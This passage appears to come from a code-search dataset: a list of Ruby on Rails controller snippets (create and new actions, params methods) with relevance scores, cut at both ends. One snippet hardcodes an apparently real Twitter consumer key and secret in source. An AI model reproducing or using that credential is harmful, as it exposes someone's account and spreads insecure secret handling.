Membrecium.new(membrecium_params)\n\n respond_to do |format|\n if @membrecium.save\n format.html { redirect_to @membrecium, notice: 'Membrecia Creada Exitosamente.' }\n format.json { render :show, status: :created, location: @membrecium }\n else\n format.html { render :new }\n format.json { render json: @membrecium.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @meupedido = Meupedido.new(meupedido_params)\n\n respond_to do |format|\n if @meupedido.save\n format.html { redirect_to @meupedido, notice: 'Meupedido was successfully created.' }\n format.json { render :show, status: :created, location: @meupedido }\n else\n format.html { render :new }\n format.json { render json: @meupedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def mester_params\n params.require(:mester).permit(:name, :email, :profilePicture)\n end", "def POST; end", "def create\n @meetup = Meetup.new(params[:meetup])\n\t@meetup.meetupdetails\n\n\n respond_to do |format|\n if @meetup.save\n\n\t\t\n\t\t\n \n\n format.html { redirect_to @meetup, notice: 'Meetup was successfully created.' }\n format.json { render json: @meetup, status: :created, location: @meetup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @meetup.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @medzz = Medzz.new(params[:medzz])\n\n respond_to do |format|\n if @medzz.save\n format.html { redirect_to @medzz, notice: 'Your Perscription was successfully submitted.' }\n format.json { render json: @medzz, status: :created, location: @medzz }\n else\n format.html { render action: \"new\" }\n format.json { render json: @medzz.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @diagnoz = Diagnoz.new(params[:diagnoz])\n @woman = Woman.find(params[:woman_id])\n @woman.diagnozs << @diagnoz\n respond_to do |format|\n if @diagnoz.save\n params[:diamkhs].each do |p|\n @diamkh = Diamkh.new\n @diamkh.mkh_id = p\n @diamkh.diagnoz_id = @diagnoz.id\n @diamkh.save\n end\n format.html { redirect_to [@woman,@diagnoz], notice: 'Diagnoz was successfully created.' }\n format.json { render json: @diagnoz, status: :created, location: @diagnoz }\n else\n format.html { render action: \"new\" }\n format.json { render json: @diagnoz.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @medzz = Medzz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medzz }\n end\n end", "def create\n @dinner = Dinner.new(dinner_params)\n @dinner.host_id = @current_user.json_hash[:id]\n if @dinner.valid?\n @dinner.save\n render json: @dinner.all_info\n else\n puts @dinner.errors.messages.inspect\n render status: :bad_request, json: {\n errors: @dinner.errors.messages\n }\n end\n end", "def create\n @mercado_metum = MercadoMetum.new(params[:mercado_metum])\n\n respond_to do |format|\n if @mercado_metum.save\n format.html { redirect_to @mercado_metum, notice: 'Mercado metum was successfully created.' }\n format.json { render json: @mercado_metum, status: :created, location: @mercado_metum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mercado_metum.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @server_ins_transaction = ServerInsTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @server_ins_transaction }\n end\n end", "def new\n @meetup_profile = MeetupProfile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meetup_profile }\n end\n end", "def create\n @niche = current_user.niches.new(processed_params)\n if @niche.save\n render json: { status: 'ok' }\n else\n render json: { status: @niche.errors.to_a.join('base') }\n end\n end", "def mechenic_params\n params.require(:mechenic).permit(:mec_name, :mobile_num_1, :mobile_num2, :address, :district)\n end", "def create\n @cat_meme = CatMeme.new(cat_meme_params)\n\n respond_to do |format|\n if @cat_meme.save\n format.html { redirect_to @cat_meme, notice: 'Cat meme was successfully created.' }\n format.json { render :show, status: :created, location: @cat_meme }\n else\n format.html { render :new }\n format.json { render json: @cat_meme.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @demob = Demob.new(demob_params)\n\n respond_to do |format|\n if @demob.save\n format.html { redirect_to demob_url(@demob), notice: \"Demob was successfully created.\" }\n format.json { render :show, status: :created, location: @demob }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @demob.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @sep_signup = SepSignup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sep_signup }\n end\n end", "def create\n @seihinn = Seihinn.new(seihinn_params)\n\n respond_to do |format|\n if @seihinn.save\n format.html { redirect_to @seihinn, notice: \"Seihinn was successfully created.\" }\n format.json { render :show, status: :created, location: @seihinn }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @seihinn.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @merma_insumo = MermaInsumo.new(merma_insumo_params)\n\n respond_to do |format|\n if @merma_insumo.save\n format.html { redirect_to @merma_insumo, notice: 'Merma insumo was successfully created.' }\n format.json { render :show, status: :created, location: @merma_insumo }\n else\n format.html { render :new }\n format.json { render json: @merma_insumo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @request = Request.new(request_params)\n\n #Calculamos los valores restantes\n #Curl obtiene un string con la informacion que le proporciona la api de mojang\n mojangData = Curl.get(\"https://api.mojang.com/users/profiles/minecraft/Ponchoalfonso\").body_str\n #Oj convierte el string que tenemos un hash el cual podemos manipular\n minecraftUser = Oj.load(mojangData)\n #Colocamos los valores faltantes\n @request.minecraftUUID = minecraftUser[\"id\"]\n @request.ip = request.remote_ip\n @request.status = \"Pendiente\"\n\n respond_to do |format|\n if @request.save\n session[:requesting_user_id] = @request.id\n format.html { redirect_to @request, notice: 'Request was successfully created.' }\n format.json { render :show, status: :created, location: @request }\n else\n format.html { render :new }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n megam_rest.post_appreq(to_hash)\n end", "def create\n @metum = Metum.new(metum_params)\n @meta.user = current_user\n\n respond_to do |format|\n if @metum.save\n format.html { redirect_to @metum, notice: 'Metum was successfully created.' }\n format.json { render :show, status: :created, location: @metum }\n else\n format.html { render :new }\n format.json { render json: @metum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @med = Med.new(med_params)\n @med.user = current_user\n\n respond_to do |format|\n if @med.save\n format.html { redirect_to meds_path, notice: 'Med was successfully created.' }\n format.json { render :show, status: :created, location: @med }\n else\n format.html { render :new }\n format.json { render json: @med.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @megalith = Megalith.new(megalith_params)\n\n respond_to do |format|\n if @megalith.save\n format.html { redirect_to @megalith, notice: \"Megalith was successfully created.\" }\n format.json { render :show, status: :created, location: @megalith }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @megalith.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n num_days = (Date.parse(params['rent_info']['end_date']).mjd - Date.parse(params['rent_info']['start_date']).mjd) \n total = num_days * params['rent_info']['price_per_day']\n # byebug\n if User.find(params['rent_info']['owner_id'])\n user = User.find(params['rent_info']['owner_id'])\n user.money_made += total \n user.save\n end\n\n renter_post = RenterPost.create(\n renter_id: params['rent_info']['renter_id'],\n post_id: params['rent_info'][\"post_id\"],\n start_date: params['rent_info'][\"start_date\"],\n end_date: params['rent_info'][\"end_date\"],\n status: params['rent_info'][\"status\"]\n )\n if renter_post \n render json: renter_post\n else\n render json: {error: \"Could not create Renter Post\"}\n end\n end", "def create\n @me_re = MeRe.new(me_re_params)\n\n respond_to do |format|\n if @me_re.save\n format.html { redirect_to @me_re, notice: 'Me re was successfully created.' }\n format.json { render action: 'show', status: :created, location: @me_re }\n else\n format.html { render action: 'new' }\n format.json { render json: @me_re.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # Create Nudge for issueing user\n @nudge = Nudge.new\n @nudge.user_id = params[:user_id]\n @nudge.pet_id = params[:pet_id]\n @nudge.group_id = Pet.find(params[:pet_id]).group.id\n @nudge.response = -1\n @nudge.nudge_token = @nudge.generate_token\n\n respond_to do |format|\n if @nudge.save\n # Create Nudge for group memebers\n Group.find(@nudge.group_id).users.each do |user|\n next if user.id == @nudge.user_id || user.device.nil?\n @nudge_member = Nudge.new\n @nudge_member.user_id = user.id\n @nudge_member.pet_id = params[:pet_id]\n @nudge_member.group_id = Pet.find(params[:pet_id]).group.id\n @nudge_member.response = 0\n @nudge_member.nudge_token = @nudge.nudge_token\n\n if @nudge_member.save\n # Send push notification\n @apn = Houston::Client.development\n device_token = User.find(@nudge_member.user_id).device.device_token\n notification = Houston::Notification.new(device: device_token)\n notification.alert = User.find(@nudge.user_id).first_name + ': Has ' + Pet.find(@nudge.pet_id).name + ' been fed?'\n notification.category = 'fed.category'\n notification.content_available = true\n notification.sound = 'sosumi.aiff'\n notification.custom_data = { nudge_id: @nudge.id, nudge_token: @nudge.nudge_token }\n @apn.push(notification)\n end\n end\n format.json { render :show, status: :created, location: @nudge }\n else\n format.json { render json: @nudge.errors, status: :unprocessable_entity }\n end \n end\n end", "def new\n @seed = Seed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @seed }\n end\n end", "def create\n @meme = Meme.new(meme_params)\n @meme.user = current_user\n output = Memeutil.memeify(@meme.template.image.url, @meme.top_caption, @meme.bottom_caption)\n @meme.image = output\n respond_to do |format|\n if @meme.save\n format.html { redirect_to @meme, notice: 'Meme was successfully created.' }\n format.json { render :show, status: :created, location: @meme }\n else\n format.html { render :new }\n format.json { render json: @meme.errors, status: :unprocessable_entity }\n end\n end\n end", "def validator_captive_portal(args = {}) \n post(\"/profiles.json/captiveportal/\", args)\nend", "def create\n @medication = Medication.new(params[:medication])\n @medication.user_id = current_user.id\n @medication.pass = @medication.build_pass(serial_number: SerialNumberGenerator.generate,\n auth_token: AuthTokenGenerator.token)\n\n respond_to do |format|\n if @medication.save!\n format.html { redirect_to medications_path, notice: 'Medication was successfully created.' }\n format.json { render json: @medication, status: :created, location: @medication }\n else\n format.html { render action: \"new\" }\n format.json { render json: @medication.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @meuble = Meuble.new(params[:meuble])\n\n respond_to do |format|\n if @meuble.save\n format.html { redirect_to @meuble, notice: 'Meuble was successfully created.' }\n format.json { render json: @meuble, status: :created, location: @meuble }\n else\n format.html { render action: \"new\" }\n format.json { render json: @meuble.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @encuestum = Encuestum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @encuestum }\n end\n end", "def create\n params[:mentions].each do |men_params|\n men_params = men_params.permit(:ticker_id, :positive_count, :negative_count, :neutral_count)\n @mention = Mention.new(men_params)\n @mention.save\n end\n respond_to do |format|\n msg = { :status => :ok, :message => \"Success!\", :html => '<b></b>' }\n format.html do\n redirect_to '/'\n end\n format.json { render :json => msg }\n end\n end", "def send_to_metlife(profile, present_code)\n # pc = Array['PC0000000139', 'PC0000000151', 'PC0000000150', 'PC0000000167']\n # Connect to MetLife SOAP API via wsdl.\n client = Savon.client(wsdl: \"http://icare.metlife.com.cn/services/YSW2ICareSave?wsdl\", encoding: \"GBK\")\n \n msg = Profile.build_xml_of_free_insurance(profile, present_code)\n\n # Debug the API performance.\n puts 'XXXXXXXXXXXXXXXXXX'\n puts msg\n puts 'XXXXXXXXXXXXXXXXXX'\n\n # response = Hash.new\n \n # msg.each do |key, message|\n # response[key] = client.call(:do_request, message: { xml_input: message })\n # end\n\n response = client.call(:do_request, message: { xml_input: msg })\n\n # Debug the API performance.\n puts '-----------------------'\n puts response\n puts '-----------------------'\n\n return response\n end", "def add_cheer_up\n new_cheer_up = current_user.cheer_ups.new(cheer_up_params)\n if new_cheer_up.save\n render json:\n {\n status: 200,\n user: current_user,\n cheer_up: current_user.cheer_ups\n }\n else\n render json:\n {\n status: 400,\n user: current_user,\n cheer_up: cheer_up.errors\n }\n end\n end", "def mestre_params\n params.require(:mestre).permit(:name, :secret)\n \n end", "def create\n @sermon_sign_in = SermonSignIn.new(sermon_sign_in_params)\n @sermon_sign_in.user = current_user\n @sermon_sign_in.sermon = Sermon.find(sermon_sign_in_params[:sermon_id])\n\n respond_to do |format|\n if @sermon_sign_in.save\n @sermon_sign_in.sermon.increment!(:sign_in_count)\n\n format.html { redirect_to @sermon_sign_in.sermon, notice: '您已经成功签到,写份感想吧。' }\n format.json { render :show, status: :created, location: @sermon_sign_in }\n else\n format.html { render :new }\n format.json { render json: @sermon_sign_in.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @imes_d034h = Imes::D034h.new(imes_d034h_params)\n\n respond_to do |format|\n if @imes_d034h.save\n format.html { redirect_to @imes_d034h, notice: 'D034h was successfully created.' }\n format.json { render :show, status: :created, location: @imes_d034h }\n else\n format.html { render :new }\n format.json { render json: @imes_d034h.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #@mesa = Mesa.new(mesa_params)\n\n @recinto = Recinto.find(params[:recinto_id])\n @mesa = @recinto.mesas.create(mesa_params)\n\n respond_to do |format|\n if @mesa.save\n format.html { redirect_to @mesa, notice: 'Mesa was successfully created.' }\n format.json { render :show, status: :created, location: @mesa }\n else\n format.html { render :new }\n format.json { render json: @mesa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @person = Individual.find_by(id: current_user.meta_id)\n Rails.logger.info \">>>>>>>>>>>>>>>>>>> #{@person.id} <<<<<<<<<<<<<<<<<<\"\n @deck = @person.decks.new(deck_params)\n @deck.individual = Individual.find_by(id: current_user.meta_id)\n @decks = @person.decks.all\n respond_to do |format|\n if @deck.save\n format.js\n else\n Rails.logger.info \"FAILEDFAILEDFAILEDFAILEDFAILEDFAILEDFAILEDFAILED\"\n end\n end\n end", "def create\n @cotiz_mes_exp = CotizMesExp.new(cotiz_mes_exp_params)\n\n respond_to do |format|\n if @cotiz_mes_exp.save\n format.html { redirect_to @cotiz_mes_exp, notice: 'Cotiz mes exp was successfully created.' }\n format.json { render :show, status: :created, location: @cotiz_mes_exp }\n else\n format.html { render :new }\n format.json { render json: @cotiz_mes_exp.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @encuestum = Encuestum.new(params[:encuestum])\n\n respond_to do |format|\n if @encuestum.save\n format.html { redirect_to @encuestum, notice: 'Encuestum was successfully created.' }\n format.json { render json: @encuestum, status: :created, location: @encuestum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @encuestum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @meal_profile = MealProfile.new(params[:meal_profile])\n\n respond_to do |format|\n if @meal_profile.save\n format.html { redirect_to @meal_profile, notice: 'Meal profile was successfully created.' }\n format.json { render json: @meal_profile, status: :created, location: @meal_profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @meal_profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @muneco = Muneco.new(muneco_params)\n\n respond_to do |format|\n if @muneco.save\n format.html { redirect_to @muneco, notice: 'Muneco was successfully created.' }\n format.json { render :show, status: :created, location: @muneco }\n else\n format.html { render :new }\n format.json { render json: @muneco.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n checkin = @student.checkins.new(checkin_params)\n if checkin.save\n render json: checkin\n else \n render json: {message: \"Unable to create checkin.\"}\n end\n end", "def create\n @milddew_imm = MilddewImm.new(milddew_imm_params)\n\n respond_to do |format|\n if @milddew_imm.save\n format.html { redirect_to @milddew_imm, notice: 'Milddew imm was successfully created.' }\n format.json { render :show, status: :created, location: @milddew_imm }\n else\n format.html { render :new }\n format.json { render json: @milddew_imm.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #assign unpermitted parameter 'entries' to a variable\n entries = params[\"entries\"]\n @invoice = @user.invoices.build(invoice_params)\n #save entries\n @invoice.entries = entries\n if @invoice.save\n render json: @invoice, status: :created, location: api_v1_user_invoice_url(@user, @invoice)\n else\n render json: @invoice.errors, status: :unprocessable_entity\n end\n end", "def process_post\n service.sign_up_fisherman(\n JSON.parse(request.body.to_s).symbolize_keys\n ).on(\n fishing_application_succeeded: ->(result) {\n response.headers['Content-Type'] = \"application/json\"\n response.body = result.to_json\n true\n },\n fishing_application_conflicts: ->(result) {\n render_json_error_response(\n error: \"command_failed_validation\", message: result.fetch(:message)\n )\n 409\n },\n fishing_application_invalid: ->(result) {\n render_json_error_response(\n error: \"command_failed_validation\", message: result.fetch(:message)\n )\n 422\n }\n )\n end", "def new\n authorize! :new, @mesasredonda\n @mesasredonda = Mesasredonda.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mesasredonda }\n end\n end", "def new\n @mint_coin = @coin.mint_coins.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @mint_coin }\n end\n end", "def create\n @desinfectante = Desinfectante.new(desinfectante_params)\n\n respond_to do |format|\n if @desinfectante.save\n format.html { redirect_to @desinfectante, notice: 'Desinfectante was successfully created.' }\n format.json { render :show, status: :created, location: @desinfectante }\n else\n format.html { render :new }\n format.json { render json: @desinfectante.errors, status: :unprocessable_entity }\n end\n end\n end", "def meme_params\n params.require(:meme).permit(:featured, :published) if params[:meme]\n end", "def invite\n @invite = Invite.new\n @invite.invited_id = params[:invited_id]\n @invite.dinner_id = params[:id]\n if @invite.valid?\n @invite.save\n render json: @invite\n else\n puts @invite.errors.messages.inspect\n render status: :bad_request, json: {\n errors: @invite.errors.messages\n }\n end\n end", "def create\n @metum = Metum.new(params[:metum])\n\n respond_to do |format|\n if @metum.save\n format.html { redirect_to @metum, notice: 'Metum was successfully created.' }\n format.json { render json: @metum, status: :created, location: @metum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @metum.errors, status: :unprocessable_entity }\n end\n end\n end", "def meme_params\n params.require(:meme).permit(:image, :top_caption, :bottom_caption, :template_id, :user_id)\n end", "def meupedido_params\n params.require(:meupedido).permit(:user_id, :obs, :status, :total, :descricao)\n end", "def create\n @memo = Memo.new(memo_params)\n @memo.save\n @memos = Memo.all.order(id: \"DESC\")\n memo_list = []\n for memo in @memos\n user = memo.user.name\n memo_list << {\n memo: memo,\n user: user\n }\n end\n render json: memo_list\n # render json: @memos\n end", "def create\n @short_message = ShortMessage.new(short_message_params)\n\n client = GlobeLabs.new\n target = @short_message.target\n if target.present?\n resp = client.send_sms(@short_message)\n Rails.logger.info(\"=== savon client resp: #{resp.inspect}\")\n end\n\n recepients = params[:recepients]\n Rails.logger.info(\"==== params:#{params.inspect}\")\n if recepients.present?\n Rails.logger.info(\"==== params:#{params[:recepients].inspect}\")\n recepients.each do |cell_no|\n @short_message = ShortMessage.new(short_message_params)\n @short_message.target = cell_no\n if @short_message.save\n resp = client.send_sms(@short_message)\n Rails.logger.info(\"=== savon client resp: #{resp.inspect}\")\n end\n end\n end\n\n respond_to do |format|\n if @short_message.save\n format.html { redirect_to short_messages_path, notice: 'Short message was successfully created.' }\n format.json { render action: 'show', status: :created, location: @short_message }\n else\n format.html { render action: 'new' }\n format.json { render json: @short_message.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @hire_me = HireMe.new(hire_me_params)\n\n respond_to do |format|\n if @hire_me.save\n format.html { redirect_to @hire_me, notice: 'Hire me was successfully created.' }\n format.json { render :show, status: :created, location: @hire_me }\n else\n format.html { render :new }\n format.json { render json: @hire_me.errors, status: :unprocessable_entity }\n end\n end\n end", "def mk_missatge_params\n params.require(:mk_missatge).permit(:user_id, :destinatari, :missatge, :mk_product_id, :mobile)\n end", "def create\n @out = Out.new(out_params)\n\n respond_to do |format|\n if @out.save\n format.json { render :json => @out, status: :created, :layout => false }\n else\n format.json { render json: @out.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @mencion = Mencion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mencion }\n end\n end", "def destroy\n @messege = Messege.find(params[:id])\n @messege.destroy\n\n respond_to do |format|\n format.html { redirect_to messeges_url }\n format.json { head :no_content }\n end\n end", "def create\n @dinner = Dinner.new(dinner_params)\n @dinner.seats_available = @dinner.seats\n @dinner.host = current_user\n current_user.n_hosted += 1\n respond_to do |format|\n if current_user.save and @dinner.save\n format.html { redirect_to @dinner, notice: 'Supper successfully created.' }\n format.json { render :show, status: :created, location: @dinner }\n else\n format.html { render :new }\n format.json { render json: @dinner.errors, status: :unprocessable_entity }\n logger.error @dinner.errors.full_messages\n end\n end\n end", "def create\n @aboutme = Aboutme.new(aboutme_params)\n\n respond_to do |format|\n if @aboutme.save\n format.html { redirect_to @aboutme, notice: 'Aboutme was successfully created.' }\n format.json { render :show, status: :created, location: @aboutme }\n else\n format.html { render :new }\n format.json { render json: @aboutme.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @mestre = Mestre.new(mestre_params)\n\n respond_to do |format|\n if @mestre.save\n format.html { redirect_to @mestre, notice: 'Mestre was successfully created.' }\n format.json { render :show, status: :created, location: @mestre }\n else\n format.html { render :new }\n format.json { render json: @mestre.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @meal_profile = MealProfile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @meal_profile }\n end\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def create\n @memento = Memento.new(memento_params)\n\n respond_to do |format|\n if @memento.save\n format.html { redirect_to @memento, notice: 'Memento was successfully created.' }\n format.json { render action: 'show', status: :created, location: @memento }\n else\n format.html { render action: 'new' }\n format.json { render json: @memento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n require 'twitter'\t \n @muscle_diary = MuscleDiary.new(muscle_diary_params)\n @muscle_diary.user_id = current_user.id\n\n # tweet記述\n auth = request.env[\"omniauth.auth\"]\n \n client = Twitter::REST::Client.new do |config|\n # developer\n\n config.consumer_key = \"p1kXruMcvR9qzaANAphm3sgav\"\n config.consumer_secret = \"rLLYwiOdTqq7HJNoSQLiqhMEQ55IKGriax9mlYKIj3AKGKgXCl\"\n\n #config.consumer_key = Rails.application.secrets.twitter_consumer_key\n #config.consumer_secret = Rails.application.secrets.twitter_consumer_secret\n \n # user\n config.access_token = \"hogehoge\" \n config.access_token_secret = \"hogehoge\"\n\n #config.access_token = auth.credentials.token\n #config.access_token_secret = auth.credentials.secret\n end\n \n # Twitter投稿\n client.update(\"test\")\n\n respond_to do |format|\n if @muscle_diary.save\n format.html { redirect_to '/', notice: '日記をつけました。ナイスバルク!' }\n format.json { render action: 'show', status: :created, location: @muscle_diary }\n else\n format.html { render action: 'new' }\n format.json { render json: @muscle_diary.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n megam_rest.post_node(to_hash)\n end", "def create\n @maptolinkedin = Maptolinkedin.new(params[:maptolinkedin])\n @bluetooth = @maptolinkedin[:bluetooth]\n @allbluetooths = Maptolinkedin.all.collect {|p| p.bluetooth}\n unless @allbluetooths.include? @bluetooth\n respond_to do |format|\n if @maptolinkedin.save\n format.html { redirect_to @maptolinkedin, notice: 'Maptolinkedin was successfully created.' }\n format.json { render json: @maptolinkedin, status: :created, location: @maptolinkedin }\n else\n format.html { render action: \"new\" }\n format.json { render json: @maptolinkedin.errors, status: :unprocessable_entity }\n end\n end\n else\n format.html { render action: \"new\" }\n format.json { render json: \"error\", status: :unprocessable_entity }\n end\n end", "def create\n authorize! :create, @mesasredonda\n @mesasredonda = Mesasredonda.new(params[:mesasredonda])\n\n respond_to do |format|\n if @mesasredonda.save\n format.html { redirect_to @mesasredonda, notice: 'Mesa redonda cadastrada com sucesso.' }\n format.json { render json: @mesasredonda, status: :created, location: @mesasredonda }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mesasredonda.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @micorpost = Micorpost.new(params[:micorpost])\n\n respond_to do |format|\n if @micorpost.save\n format.html { redirect_to @micorpost, notice: 'Micorpost was successfully created.' }\n format.json { render json: @micorpost, status: :created, location: @micorpost }\n else\n format.html { render action: \"new\" }\n format.json { render json: @micorpost.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @imes_d189h = Imes::D189h.new(imes_d189h_params)\n\n respond_to do |format|\n if @imes_d189h.save\n format.html { redirect_to @imes_d189h, notice: 'D189h was successfully created.' }\n format.json { render :show, status: :created, location: @imes_d189h }\n else\n format.html { render :new }\n format.json { render json: @imes_d189h.errors, status: :unprocessable_entity }\n end\n end\n end", "def profiles_post(options = {})\n\n=begin\n #add access token if it exists\n url = \"\"\n if options[:access_token]\n url = \"https://api.meetup.com/2/profile.json?access_token=#{options[:access_token]}\"\n #url = \"https://api.meetup.com/2/profile.json\"\n else\n url = \"https://api.meetup.com/2/profile.json\"\n end\n=end\n\n url = \"https://api.meetup.com/2/profile.json\"\n\n puts \"profiles post url #{url}\"\n\n response = post_response(url,options)\n\n if response == \"OK\"\n puts \"OK\"\n else\n puts response.to_yaml\n end\n end", "def create\n @encuestum = Encuestum.new(encuestum_params)\n\n respond_to do |format|\n if @encuestum.save\n format.html { redirect_to @encuestum, notice: 'Encuestum was successfully created.' }\n format.json { render :show, status: :created, location: @encuestum }\n else\n format.html { render :new }\n format.json { render json: @encuestum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cuisine = Cuisine.new(spice_params)\n\n if @cuisine.save\n render json: @cuisine, status: :created\n else\n render json: @cuisine.errors, status: :unprocessable_entity\n end\n end", "def create\n @cashmeout = Cashmeout.new(cashmeout_params)\n\n respond_to do |format|\n if @cashmeout.save\n format.html { redirect_to @cashmeout, notice: 'Cashmeout was successfully created.' }\n format.json { render :show, status: :created, location: @cashmeout }\n else\n format.html { render :new }\n format.json { render json: @cashmeout.errors, status: :unprocessable_entity }\n end\n end\n end", "def dear_me_params\n params.require(:dear_me).permit(:name, :user_id)\n end" ]
[ "0.5667339", "0.5535352", "0.550221", "0.5454367", "0.5450707", "0.54281354", "0.53758675", "0.53133583", "0.52946585", "0.5225436", "0.5224979", "0.5217572", "0.5214713", "0.521288", "0.5179863", "0.5172216", "0.515975", "0.5101781", "0.5072349", "0.50685745", "0.50327045", "0.50184125", "0.49956974", "0.49799895", "0.49671453", "0.49506775", "0.49503297", "0.49364394", "0.4931092", "0.4926346", "0.49208215", "0.49158645", "0.4906003", "0.49056283", "0.48921627", "0.48867553", "0.48790464", "0.48748142", "0.4873427", "0.48712137", "0.48661324", "0.48622948", "0.4857504", "0.4857257", "0.48566258", "0.48501575", "0.48393723", "0.48377222", "0.48361984", "0.4834988", "0.48235002", "0.48227975", "0.48226053", "0.48178703", "0.48118415", "0.48106706", "0.48076427", "0.48024994", "0.47975054", "0.47956347", "0.47946873", "0.47882462", "0.4779756", "0.47585914", "0.4758186", "0.47562104", "0.47539705", "0.47486565", "0.47483647", "0.47480866", "0.4746054", "0.47436556", "0.47409245", "0.47406098", "0.47342175", "0.47320187", "0.47308284", "0.47291657", "0.47173125", "0.47123504", "0.47108755", "0.47105166", "0.47094753", "0.47070783", "0.470632", "0.47048664", "0.47044632", "0.47028372", "0.47014347", "0.47009638", "0.47008964", "0.4700532", "0.46929726", "0.4690664", "0.46888858", "0.46860543", "0.46836552", "0.46832436", "0.46827284", "0.4679091" ]
0.68035567
0
PATCH/PUT /medecins/1 PATCH/PUT /medecins/1.json
def update respond_to do |format| if @medecin.update(medecin_params) format.html { redirect_to @medecin, notice: 'Medecin was successfully updated.' } format.json { render :show, status: :ok, location: @medecin } else format.html { render :edit } format.json { render json: @medecin.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def patch!\n request! :patch\n end", "def update\n respond_to do |format|\n if @meme.update(meme_params)\n format.html { redirect_to @meme, notice: \"Meme was successfully updated.\" }\n format.json { render :show, status: :ok, location: @meme }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @meme.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @metodo = Metodo.find(params[:id])\n\n respond_to do |format|\n if @metodo.update_attributes(params[:metodo])\n format.html { redirect_to metodos_url }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @metodo.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n @messege = Messege.find(params[:id])\n\n respond_to do |format|\n if @messege.update_attributes(params[:messege])\n format.html { redirect_to @messege, notice: 'Messege was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @messege.errors, status: :unprocessable_entity }\n end\n end\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update\n @meuble = Meuble.find(params[:id])\n\n respond_to do |format|\n if @meuble.update_attributes(params[:meuble])\n format.html { redirect_to @meuble, notice: 'Meuble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meuble.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @request.assign_json_attributes(params) if @request.resume?\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n respond_to do |format|\n if @mechon.update(mechon_params)\n format.html { redirect_to @mechon, notice: 'Mechon was successfully updated.' }\n format.json { render :show, status: :ok, location: @mechon }\n else\n format.html { render :edit }\n format.json { render json: @mechon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @metaskill.update(metaskill_params)\n format.html { redirect_to @metaskill, notice: 'Metaskill was successfully updated.' }\n format.json { render :show, status: :ok, location: @metaskill }\n else\n format.html { render :edit }\n format.json { render json: @metaskill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = 